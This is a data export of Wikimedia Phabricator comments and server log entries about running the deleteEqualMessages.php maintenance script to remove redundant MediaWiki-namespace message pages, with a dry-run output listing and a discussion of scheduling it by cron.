icon=file, name=Mentioned in SAL (#wikimedia-operations), href=URL [2018-07-18T05:11:27Z] <Krinkle> mwscript deleteEqualMessages.php --wiki ruwiki (4 pages) - T45917"
1105994,"Delete all redundant ""MediaWiki"" pages for system messages","{nav icon=file, name=Mentioned in SAL (#wikimedia-operations), href=https://tools.wmflabs.org/sal/log/AWSrzKYowY2u4JUTPljs} [2018-07-18T05:11:13Z] <Krinkle> mwscript deleteEqualMessages.php --wiki frwiki (5 pages) - T45917",,,1531890673,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,False,,,263,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,10.0,0.0,0.0,2.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,3.7560975609756095,0.8048780487804879,"{nav icon=file, name=Mentioned in SAL (#wikimedia-operations), href=URL [2018-07-18T05:11:13Z] <Krinkle> mwscript deleteEqualMessages.php --wiki frwiki (5 pages) - T45917"
1105991,"Delete all redundant ""MediaWiki"" pages for system messages","{nav icon=file, name=Mentioned in SAL (#wikimedia-operations), href=https://tools.wmflabs.org/sal/log/AWSryx3NoDEJc1hAykSQ} [2018-07-18T05:09:32Z] <Krinkle> mwscript deleteEqualMessages.php --wiki metawiki (deleted 1 page) - T45917",,,1531890573,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,False,,,263,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,10.0,0.0,0.0,2.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,3.857142857142857,0.8095238095238095,"{nav icon=file, name=Mentioned in SAL (#wikimedia-operations), href=URL [2018-07-18T05:09:32Z] <Krinkle> mwscript deleteEqualMessages.php --wiki metawiki (deleted 1 page) - T45917"
1105990,"Delete all redundant ""MediaWiki"" pages for system messages","{nav icon=file, name=Mentioned in SAL (#wikimedia-operations), href=https://tools.wmflabs.org/sal/log/AWSrywV9oDEJc1hAykSP} [2018-07-18T05:09:26Z] <Krinkle> mwscript deleteEqualMessages.php --wiki test2wiki (deleted 2 pages) - T45917",,,1531890567,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,False,,,263,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,10.0,0.0,0.0,2.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,3.9047619047619047,0.8095238095238095,"{nav icon=file, name=Mentioned in SAL (#wikimedia-operations), href=URL [2018-07-18T05:09:26Z] <Krinkle> mwscript deleteEqualMessages.php --wiki test2wiki (deleted 2 pages) - T45917"
831853,"Delete all redundant ""MediaWiki"" pages for system messages","{nav icon=file, name=Mentioned in SAL (#wikimedia-operations), href=https://tools.wmflabs.org/sal/log/AVsHFYbVlCyyDMEPvX-7} [2017-03-25T20:08:22Z] <Krinkle> Ran mwscript deleteEqualMessages.php on public wikis (T45917) - deleted 5 pages across 5 wikis",,,1490472503,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,False,,,194,,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,28.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,11.0,0.0,0.0,6.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,3.765957446808511,0.7872340425531915,"{nav icon=file, name=Mentioned in SAL (#wikimedia-operations), href=URL [2017-03-25T20:08:22Z] <Krinkle> Ran mwscript deleteEqualMessages.php on public wikis (T45917) - deleted 5 pages across 5 wikis"
828638,"Delete all redundant ""MediaWiki"" pages for system messages","{nav icon=file, name=Mentioned in SAL (#wikimedia-operations), href=https://tools.wmflabs.org/sal/log/AVruLkTylCyyDMEPvWIy} [2017-03-21T00:04:54Z] <Krinkle> mwscript deleteEqualMessages.php on public wikis (T45917)",,,1490054696,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,False,,,194,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,28.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,8.0,0.0,0.0,5.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,3.7948717948717947,0.8205128205128205,"{nav icon=file, name=Mentioned in SAL (#wikimedia-operations), href=URL [2017-03-21T00:04:54Z] <Krinkle> mwscript deleteEqualMessages.php on public wikis (T45917)"
827773,"Delete all redundant ""MediaWiki"" pages for system messages","> if dry run, where to publish it. (https://people.wikimedia.org/~krinkle/ maybe?)

That would be ok. On the other hand, this list already proves that LocalisationUpdate is needed and must be faster, to avoid accumulating translator frustration and unnecessary technical debt (see ruwiki example: https://ru.wikipedia.org/w/index.php?title=MediaWiki%3ACreate-local&type=revision&diff=84144899&oldid=84144800 https://translatewiki.net/w/i.php?title=MediaWiki%3ACreate-local%2Fru&type=revision&diff=7293894&oldid=5453967 ).",,,1489915878,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,True,,,193,,0.0,0.0,0.0,2.0,0.0,12.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,7.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,16.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,7.0,14.0,2.0,5.0,5.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,7.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,4.558139534883721,0.8837209302325582,"QUOTE

That would be ok. On the other hand, this list already proves that LocalisationUpdate is needed and must be faster, to avoid accumulating translator frustration and unnecessary technical debt (see ruwiki example: URL URL )."
827659,"Delete all redundant ""MediaWiki"" pages for system messages",">>! In T45917#3083680, @Amire80 wrote:
>>>! In T45917#3083285, @Nemo_bis wrote:
>> So if anything we should have a cronjob with a dry run, which triggers an alert somewhere when messages get translated locally. [..]
> 
> I regularly check Special:AllMessages //in languages that I know//. I wish it was done in all languages, but I alone don't have the capacity to do it manually. [..]

If I understand correctly, you're looking for instances of where the translation is overridden and not equal - e.g. to find potential improvements that could be upstreamed. I'm not sure how to automate that since many of those will be semi-permanent local modifications that are specific to the wiki.

However if we want to find out about translations that were once local overrides but are now redundant (presumably due to it being upstreamed), I could run the maintenance script that this task is about, from a cron on terbium.

It's only been 10 days, but there are already plenty of translations detected again that are now equal:
```
foreachwikiindblist 'all - private' deleteEqualMessages.php | tee out-deleteEqualMessages-allwikis-dry.log
-----------------------------------------------------------------
aawiki
-----------------------------------------------------------------
aawiki:  Checking for pages with default message...
aawiki:  ... fetching message info for content language
aawiki:  done.
-----------------------------------------------------------------
```
Filtered output:
```lines=5
$ grep '*' out-deleteEqualMessages-allwikis-dry.log 
bnwiki:  * [[মিডিয়াউইকি:Cite references link many format backlink labels]]
cebwiki:  * [[MediaWiki:Loginreqlink]]
commonswiki:  * [[MediaWiki:Kartographer.js]]
donatewiki:  * [[MediaWiki:Donate interface-problemsdonating]]
donatewiki:  * [[MediaWiki:Fundraiserlandingpage-wmch-landing-page]]
elwiki:  * [[MediaWiki:Ep-addstudents-btn]]
elwiki:  * [[MediaWiki:Ep-user-roles-message-additional]]
guwikisource:  * [[મીડિયાવિકિ:Common.js]]
guwikisource:  * [[મીડિયાવિકિ ચર્ચા:Common.js]]
guwikisource:  * [[મીડિયાવિકિ:Proofreadpage quality3 category]]
hrwiktionary:  * [[MediaWiki:Prefs-personal]]
mkwiki:  * [[МедијаВики:Searchresults-title]]
plwiki:  * [[MediaWiki:Wm-license-cc-wiki-link]]
plwiki:  * [[MediaWiki:Wikieditor-toolbar-tool-link-int-target]]
plwiki:  * [[MediaWiki:Wikieditor-toolbar-tool-link-int-text]]
plwiki:  * [[MediaWiki:Geodata-broken-tags-category]]
ruwiki:  * [[MediaWiki:Create-local]]
trwiki:  * [[MediaWiki:Autosumm-blank]]
trwiki:  * [[MediaWiki:Group-interface-editor]]
trwiki:  * [[MediaWiki:Grouppage-interface-editor]]
trwikibooks:  * [[MediaWiki:Autosumm-blank]]
trwikiquote:  * [[MediaWiki:Autosumm-blank]]
trwikisource:  * [[MediaWiki:Autosumm-blank]]
trwiktionary:  * [[MediaWiki:Autosumm-blank]]
trwiktionary:  * [[MediaWiki tartışma:Autosumm-blank]]
ukwikivoyage:  * [[MediaWiki:Group-uploader]]
ukwikivoyage:  * [[MediaWiki:Group-uploader-member]]
ukwikivoyage:  * [[MediaWiki:Wikibase-otherprojects-wikipedia]]
ukwikivoyage:  * [[MediaWiki:Interlanguage-link-wikipedia]]
ukwikivoyage:  * [[MediaWiki:Interlanguage-link-commons]]
```

I'm open for ideas on whether to schedule this periodically, as dry run or not, and if dry run, where to publish it. (<https://people.wikimedia.org/~krinkle/> maybe?)",,,1489809250,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,True,,,193,,0.5,0.0,0.0,0.5,1.5,10.0,3.5,0.0,0.0,1.5,1.5,1.5,0.0,0.5,0.5,2.5,0.0,10.0,13.5,0.0,2.5,0.0,0.5,0.0,0.5,0.0,0.0,0.0,1.0,0.5,0.0,6.5,1.5,1.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.5,0.0,1.5,0.5,1.5,0.0,8.5,1.0,1.5,0.0,0.0,0.5,0.5,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,1.5,0.0,2.0,6.0,7.5,5.5,2.5,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.5,0.0,5.0,13.5,2.0,0.5,0.0,0.0,5.0,0.0,3.5,0.5,0.0,0.5,0.0,0.0,0.5,3.928944618599791,0.7371995820271682,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

If I understand correctly, you're looking for instances of where the translation is overridden and not equal - e.g. to find potential improvements that could be upstreamed. I'm not sure how to automate that since many of those will be semi-permanent local modifications that are specific to the wiki.

However if we want to find out about translations that were once local overrides but are now redundant (presumably due to it being upstreamed), I could run the maintenance script that this task is about, from a cron on terbium.

It's only been 10 days, but there are already plenty of translations detected again that are now equal:
``CODE`CODE`CODE``

I'm open for ideas on whether to schedule this periodically, as dry run or not, and if dry run, where to publish it. (<URL maybe?)"
821689,"Delete all redundant ""MediaWiki"" pages for system messages",">>! In T45917#3083285, @Nemo_bis wrote:
> So if anything we should have a cronjob with a dry run, which triggers an alert somewhere when messages get translated locally. It could be one useful signal of an insufficient frequency of localisation updates, due to broken LocalisationUpdate or other reasons. (In general, we already know that the updates must be daily; but contingent data points are still useful.)

This.

I regularly check Special:AllMessages //in languages that I know//. I wish it was done in all languages, but I alone don't have the capacity to do it manually. I very frequently find not only translation mistakes, but also reasons to fix the original English message, and of course this happens not only when the local customization is the same as the original message, but also when it's different.

It's good to have local translation in the MediaWiki space as a quick fix for particularly bad translation mistakes, or for actually-needed local customizations, but it must not be relied upon as a an actual way to translate the interface, even temporarily. (And even though I'm saying ""actually-needed local customization"", these should actually always raise the question of whether this thing should be done through a message at all, but that's a separate topic.)",,,1488969396,,PHID-USER-xfe43w2lb5gpvglf4coa,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,False,,,192,,1.0,0.0,0.5,1.5,2.0,7.5,0.5,0.0,0.5,0.0,2.5,1.0,0.0,1.0,0.0,3.0,0.0,13.0,10.0,0.0,2.0,1.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,5.0,1.5,2.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.5,0.0,0.0,0.5,0.0,0.0,9.5,2.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,2.0,1.5,0.0,0.0,0.5,0.0,0.0,7.0,2.0,7.5,2.5,4.0,9.5,0.0,0.0,0.0,0.0,4.5,0.0,0.5,0.0,5.5,10.0,2.0,0.0,1.0,0.0,5.5,0.0,1.5,3.0,0.0,0.5,0.0,0.0,0.0,4.191011235955056,0.6910112359550562,"QUOTE
QUOTE

This.

I regularly check Special:AllMessages //in languages that I know//. I wish it was done in all languages, but I alone don't have the capacity to do it manually. I very frequently find not only translation mistakes, but also reasons to fix the original English message, and of course this happens not only when the local customization is the same as the original message, but also when it's different.

It's good to have local translation in the MediaWiki space as a quick fix for particularly bad translation mistakes, or for actually-needed local customizations, but it must not be relied upon as a an actual way to translate the interface, even temporarily. (And even though I'm saying ""actually-needed local customization"", these should actually always raise the question of whether this thing should be done through a message at all, but that's a separate topic.)"
821617,"Delete all redundant ""MediaWiki"" pages for system messages","So if anything we should have a cronjob with a dry run, which triggers an alert somewhere when messages get translated locally. It could be one useful signal of an insufficient frequency of localisation updates, due to broken LocalisationUpdate or other reasons. (In general, we already know that the updates must be daily; but contingent data points are still useful.)",,,1488962701,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,True,,,192,,0.0,1.0,0.0,0.0,0.0,12.0,3.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,3.0,0.0,9.0,12.0,1.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,6.0,3.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,1.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,6.0,4.0,3.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,4.0,12.0,1.0,0.0,0.0,0.0,4.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,4.492753623188406,0.8405797101449275,"So if anything we should have a cronjob with a dry run, which triggers an alert somewhere when messages get translated locally. It could be one useful signal of an insufficient frequency of localisation updates, due to broken LocalisationUpdate or other reasons. (In general, we already know that the updates must be daily; but contingent data points are still useful.)"
821332,"Delete all redundant ""MediaWiki"" pages for system messages","That's what I'm saying. The usual reason people were editing the messages was because LU was broken, or there was a long time between deploys.

I'm not even suggesting we encourage people to edit the MW namespace like that",,,1488923437,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,False,,,192,,0.0,0.0,0.0,2.0,2.0,7.0,2.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,7.0,2.0,4.0,9.0,0.0,2.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,9.0,9.0,13.0,2.0,2.0,13.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,7.0,9.0,2.0,0.0,0.0,0.0,7.0,0.0,2.0,2.0,0.0,7.0,0.0,0.0,0.0,4.021739130434782,0.8478260869565217,"That's what I'm saying. The usual reason people were editing the messages was because LU was broken, or there was a long time between deploys.

I'm not even suggesting we encourage people to edit the MW namespace like that"
821320,"Delete all redundant ""MediaWiki"" pages for system messages","I agree with @nemo_bis why force people to do something they dont want to, especially if we have the ability to do it ourselves. ",,,1488922841,,PHID-USER-ct4qymje4lpxby255tze,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,False,,,192,,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,12.0,15.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,4.0,4.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,8.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,19.0,15.0,4.0,0.0,0.0,0.0,19.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,4.115384615384615,0.8461538461538461,"I agree withSCREEN_NAME why force people to do something they dont want to, especially if we have the ability to do it ourselves. "
821317,"Delete all redundant ""MediaWiki"" pages for system messages","> People that don't want to wait for train deploys and/or LocalisationUpdate?

Forcing such people to edit the MediaWiki namespace would be a broken system.",,,1488922637,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,True,,,192,,0.0,0.0,0.0,0.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,19.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,4.5,1.0,"QUOTE

Forcing such people to edit the MediaWiki namespace would be a broken system."
821315,"Delete all redundant ""MediaWiki"" pages for system messages",">>! In T45917#3081939, @Nemo_bis wrote:
>> Any reason we can't cronjob it, say monthly?
> 
> This is supposed not to be a recurring task on each wiki: if it's needed regularly, then something is wrong.

People that don't want to wait for train deploys and/or LocalisationUpdate?",,,1488922530,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,False,,,192,,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,29.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,19.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,4.285714285714286,0.7619047619047619,"QUOTE
QUOTE
QUOTE
QUOTE

People that don't want to wait for train deploys and/or LocalisationUpdate?"
821306,"Delete all redundant ""MediaWiki"" pages for system messages","> Any reason we can't cronjob it, say monthly?

This is supposed not to be a recurring task on each wiki: if it's needed regularly, then something is wrong.",,,1488922193,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,True,,,192,,4.0,4.0,0.0,4.0,4.0,4.0,8.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,12.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,12.0,8.0,4.0,0.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,3.6923076923076925,0.9615384615384616,"QUOTE

This is supposed not to be a recurring task on each wiki: if it's needed regularly, then something is wrong."
821230,"Delete all redundant ""MediaWiki"" pages for system messages","It'd be interesting to see the scale of this in relation to T158360...

Any reason we can't cronjob it, say monthly?",,,1488917248,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,False,,,192,,4.0,0.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,0.0,4.0,7.0,0.0,0.0,0.0,4.0,0.0,7.0,15.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,7.0,7.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,7.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,4.0,4.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,11.0,15.0,4.0,4.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5925925925925926,0.9629629629629629,"It'd be interesting to see the scale of this in relation to T158360...

Any reason we can't cronjob it, say monthly?"
821224,"Delete all redundant ""MediaWiki"" pages for system messages","@MarcoAurelio Thanks. Yeah, my thoughts exactly. This should be re-run from time to time as upstreaming happens all the time.

Meanwhile, as always, feel free to ask here or on IRC for a run on a specific wiki (or set of wikis).",,,1488916953,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,True,,,192,,2.0,0.0,0.0,2.0,0.0,6.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,19.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,11.0,0.0,4.0,9.0,0.0,0.0,0.0,0.0,6.0,2.0,0.0,0.0,2.0,19.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,3.4444444444444446,0.7592592592592593,"SCREEN_NAME Thanks. Yeah, my thoughts exactly. This should be re-run from time to time as upstreaming happens all the time.

Meanwhile, as always, feel free to ask here or on IRC for a run on a specific wiki (or set of wikis)."
821223,"Delete all redundant ""MediaWiki"" pages for system messages","@MarcoAurelio Thanks. Yeah, my thoughts exactly. This should be re-run from time to time as upstreaming happens all the time.

Meanwhile, as always, feel free to ask here on IRC for a run on a specific wiki (or set of wikis).",,,1488916940,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,True,,,192,,2.0,0.0,0.0,2.0,0.0,6.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,8.0,19.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,11.0,0.0,2.0,9.0,0.0,0.0,0.0,0.0,6.0,2.0,0.0,0.0,2.0,19.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,3.4716981132075473,0.7735849056603774,"SCREEN_NAME Thanks. Yeah, my thoughts exactly. This should be re-run from time to time as upstreaming happens all the time.

Meanwhile, as always, feel free to ask here on IRC for a run on a specific wiki (or set of wikis)."
821222,"Delete all redundant ""MediaWiki"" pages for system messages","@MarcoAurelio Thanks. Yeah, my thoughts exactly. This should be re-run from time to time as upstreaming happens all the time.",,,1488916895,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,True,,,192,,4.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,15.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,15.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,4.0,15.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.8461538461538461,"SCREEN_NAME Thanks. Yeah, my thoughts exactly. This should be re-run from time to time as upstreaming happens all the time."
